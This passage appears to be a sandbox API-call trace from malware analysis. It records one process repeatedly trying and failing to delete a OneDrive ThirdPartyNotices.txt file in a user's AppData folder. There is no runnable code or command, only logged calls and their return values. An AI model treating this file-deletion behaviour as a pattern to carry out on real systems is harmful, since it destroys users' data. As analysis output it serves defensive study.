ftLastWriteTime.dwLowDateTime=0x2e93ce00, ftLastWriteTime.dwHighDateTime=0x1d337ae, nFileSizeHigh=0x0, nFileSizeLow=0xbfe9)) returned 1 [0196.992] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edea0) returned 1 [0196.992] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt", nBufferLength=0x105, lpBuffer=0x1edaa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt", lpFilePart=0x0) returned 0x57 [0196.992] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\thirdpartynotices.txt")) returned 0 [0196.993] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt", nBufferLength=0x105, lpBuffer=0x1edaa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt", lpFilePart=0x0) returned 0x57 [0196.993] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1edee0) returned 1 [0196.993] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\thirdpartynotices.txt"), fInfoLevelId=0x0, lpFileInformation=0x1edfc0 | out: lpFileInformation=0x1edfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2e916ca0, ftCreationTime.dwHighDateTime=0x1d337ae, ftLastAccessTime.dwLowDateTime=0x2e916ca0, ftLastAccessTime.dwHighDateTime=0x1d337ae, ftLastWriteTime.dwLowDateTime=0x2e93ce00, ftLastWriteTime.dwHighDateTime=0x1d337ae, nFileSizeHigh=0x0, nFileSizeLow=0xbfe9)) returned 1 [0196.994] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edea0) returned 1 [0196.994] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt", nBufferLength=0x105, lpBuffer=0x1edaa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt", lpFilePart=0x0) returned 0x57 [0196.994] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\thirdpartynotices.txt")) returned 0 [0196.995] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt", nBufferLength=0x105, lpBuffer=0x1edaa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt", lpFilePart=0x0) returned 0x57 [0196.995] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1edee0) returned 1 [0196.995] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\thirdpartynotices.txt"), fInfoLevelId=0x0, lpFileInformation=0x1edfc0 | out: lpFileInformation=0x1edfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2e916ca0, ftCreationTime.dwHighDateTime=0x1d337ae, ftLastAccessTime.dwLowDateTime=0x2e916ca0, ftLastAccessTime.dwHighDateTime=0x1d337ae, ftLastWriteTime.dwLowDateTime=0x2e93ce00, ftLastWriteTime.dwHighDateTime=0x1d337ae, nFileSizeHigh=0x0, nFileSizeLow=0xbfe9)) returned 1 [0196.995] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edea0) returned 1 [0196.995] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt", nBufferLength=0x105, lpBuffer=0x1edaa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt", lpFilePart=0x0) returned 0x57 [0196.996] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\thirdpartynotices.txt")) returned 0 [0196.997] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt", nBufferLength=0x105, lpBuffer=0x1edaa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt", lpFilePart=0x0) returned 0x57 [0196.997] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1edee0) returned 1 [0196.997] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\thirdpartynotices.txt"), fInfoLevelId=0x0, lpFileInformation=0x1edfc0 | out: lpFileInformation=0x1edfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2e916ca0, ftCreationTime.dwHighDateTime=0x1d337ae, ftLastAccessTime.dwLowDateTime=0x2e916ca0, ftLastAccessTime.dwHighDateTime=0x1d337ae, ftLastWriteTime.dwLowDateTime=0x2e93ce00, ftLastWriteTime.dwHighDateTime=0x1d337ae, nFileSizeHigh=0x0, nFileSizeLow=0xbfe9)) returned 1 [0196.997] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edea0) returned 1 [0196.997] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt", nBufferLength=0x105, lpBuffer=0x1edaa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt", lpFilePart=0x0) returned 0x57 [0196.997] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\thirdpartynotices.txt")) returned 0 [0196.999] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt", nBufferLength=0x105, lpBuffer=0x1edaa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt", lpFilePart=0x0) returned 0x57 [0196.999] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1edee0) returned 1 [0196.999] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\thirdpartynotices.txt"), fInfoLevelId=0x0, lpFileInformation=0x1edfc0 | out: lpFileInformation=0x1edfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2e916ca0, ftCreationTime.dwHighDateTime=0x1d337ae, ftLastAccessTime.dwLowDateTime=0x2e916ca0, ftLastAccessTime.dwHighDateTime=0x1d337ae, ftLastWriteTime.dwLowDateTime=0x2e93ce00, ftLastWriteTime.dwHighDateTime=0x1d337ae, nFileSizeHigh=0x0, nFileSizeLow=0xbfe9)) returned 1 [0196.999] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edea0) returned 1 [0196.999] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt", nBufferLength=0x105, lpBuffer=0x1edaa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt", lpFilePart=0x0) returned 0x57 [0196.999] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\thirdpartynotices.txt")) returned 0 [0197.001] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt", nBufferLength=0x105, lpBuffer=0x1edaa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt", lpFilePart=0x0) returned 0x57 [0197.001] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1edee0) returned 1 [0197.001] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\thirdpartynotices.txt"), fInfoLevelId=0x0, lpFileInformation=0x1edfc0 | out: lpFileInformation=0x1edfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2e916ca0, ftCreationTime.dwHighDateTime=0x1d337ae, ftLastAccessTime.dwLowDateTime=0x2e916ca0, ftLastAccessTime.dwHighDateTime=0x1d337ae, ftLastWriteTime.dwLowDateTime=0x2e93ce00, ftLastWriteTime.dwHighDateTime=0x1d337ae, nFileSizeHigh=0x0, nFileSizeLow=0xbfe9)) returned 1 [0197.001] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edea0) returned 1 [0197.001] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt", nBufferLength=0x105, lpBuffer=0x1edaa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt", lpFilePart=0x0) returned 0x57 [0197.001] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\thirdpartynotices.txt")) returned 0 [0197.013] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt", nBufferLength=0x105, lpBuffer=0x1edaa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt", lpFilePart=0x0) returned 0x57 [0197.013] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1edee0) returned 1 [0197.014] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\thirdpartynotices.txt"), fInfoLevelId=0x0, lpFileInformation=0x1edfc0 | out: lpFileInformation=0x1edfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2e916ca0, ftCreationTime.dwHighDateTime=0x1d337ae, ftLastAccessTime.dwLowDateTime=0x2e916ca0, ftLastAccessTime.dwHighDateTime=0x1d337ae, ftLastWriteTime.dwLowDateTime=0x2e93ce00, ftLastWriteTime.dwHighDateTime=0x1d337ae, nFileSizeHigh=0x0, nFileSizeLow=0xbfe9)) returned 1 [0197.014] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edea0) returned 1 [0197.014] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt", nBufferLength=0x105, lpBuffer=0x1edaa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt", lpFilePart=0x0) returned 0x57 [0197.014] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\thirdpartynotices.txt")) returned 0 [0197.015] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt", nBufferLength=0x105, lpBuffer=0x1edaa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt", lpFilePart=0x0) returned 0x57 [0197.015] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1edee0) returned 1 [0197.015] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\thirdpartynotices.txt"), fInfoLevelId=0x0, lpFileInformation=0x1edfc0 | out: lpFileInformation=0x1edfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2e916ca0, ftCreationTime.dwHighDateTime=0x1d337ae, ftLastAccessTime.dwLowDateTime=0x2e916ca0, ftLastAccessTime.dwHighDateTime=0x1d337ae, ftLastWriteTime.dwLowDateTime=0x2e93ce00, ftLastWriteTime.dwHighDateTime=0x1d337ae, nFileSizeHigh=0x0, nFileSizeLow=0xbfe9)) returned 1 [0197.015] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edea0) returned 1 [0197.016] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\thirdpartynotices.txt")) returned 0 [0197.018] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt", nBufferLength=0x105, lpBuffer=0x1edaa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt", lpFilePart=0x0) returned 0x57 [0197.018] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1edee0) returned 1 [0197.019] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edea0) returned 1 [0197.019] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\thirdpartynotices.txt")) returned 0 [0197.021] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1edee0) returned 1 [0197.021] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edea0) returned 1 [0197.021] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\thirdpartynotices.txt")) returned 0 [0197.024] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1edee0) returned 1 [0197.024] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edea0) returned 1 [0197.024] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\thirdpartynotices.txt")) returned 0 [0197.027] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1edee0) returned 1 [0197.027] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edea0) returned 1 [0197.027] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\thirdpartynotices.txt")) returned 0 [0197.030] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1edee0) returned 1 [0197.030] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edea0) returned 1 [0197.030] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\thirdpartynotices.txt")) returned 0 [0197.033] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1edee0) returned 1 [0197.033] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edea0) returned 1 [0197.033] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\thirdpartynotices.txt")) returned 0 [0197.037] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1edee0) returned 1 [0197.037] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edea0) returned 1 [0197.037] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\thirdpartynotices.txt")) returned 0 [0197.040] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1edee0) returned 1 [0197.040] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edea0) returned 1 [0197.040] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\thirdpartynotices.txt")) returned 0 [0197.043] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1edee0) returned 1 [0197.043] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edea0) returned 1 [0197.043] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\thirdpartynotices.txt")) returned 0 [0197.046] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1edee0) returned 1 [0197.046] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edea0) returned 1 [0197.046] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\thirdpartynotices.txt")) returned 0 [0197.049] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1edee0) returned 1 [0197.049] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edea0) returned 1 [0197.049] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\thirdpartynotices.txt")) returned 0 [0197.147] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1edee0) returned 1 [0197.147] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edea0) returned 1 [0197.147] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\thirdpartynotices.txt")) returned 0 [0197.150] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1edee0) returned 1 [0197.150] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edea0) returned 1 [0197.150] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\thirdpartynotices.txt")) returned 0 [0197.153] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1edee0) returned 1 [0197.153] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edea0) returned 1 [0197.153] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\thirdpartynotices.txt")) returned 0 [0197.156] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1edee0) returned 1 [0197.156] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edea0) returned 1 [0197.156] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\thirdpartynotices.txt")) returned 0 [0197.160] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1edee0) returned 1 [0197.160] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edea0) returned 1 [0197.161] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\thirdpartynotices.txt")) returned 0 [0197.163] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1edee0) returned 1 [0197.163] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edea0) returned 1 [0197.164] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\thirdpartynotices.txt")) returned 0 [0197.166] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1edee0) returned 1 [0197.167] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edea0) returned 1 [0197.167] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\thirdpartynotices.txt")) returned 0 [0197.169] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1edee0) returned 1 [0197.169] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edea0) returned 1 [0197.170] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\thirdpartynotices.txt")) returned 0 [0197.172] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1edee0) returned 1 [0197.172] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edea0) returned 1 [0197.173] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\thirdpartynotices.txt")) returned 0 [0197.192] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1edee0) returned 1 [0197.193] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edea0) returned 1 [0197.193] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\thirdpartynotices.txt")) returned 0 [0197.195] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1edee0) returned 1 [0197.196] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edea0) returned 1 [0197.196] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\thirdpartynotices.txt")) returned 0 [0197.198] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1edee0) returned 1 [0197.199] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edea0) returned 1 [0197.199] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\thirdpartynotices.txt")) returned 0 [0197.201] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1edee0) returned 1 [0197.202] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edea0) returned 1 [0197.202] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\thirdpartynotices.txt")) returned 0 [0197.204] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1edee0) returned 1 [0197.205] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edea0) returned 1 [0197.205] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\thirdpartynotices.txt")) returned 0 [0197.210] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1edee0) returned 1 [0197.210] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edea0) returned 1 [0197.210] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\thirdpartynotices.txt")) returned 0 [0197.213] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1edee0) returned 1 [0197.213] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edea0) returned 1 [0197.213] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\thirdpartynotices.txt")) returned 0 [0197.216] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1edee0) returned 1 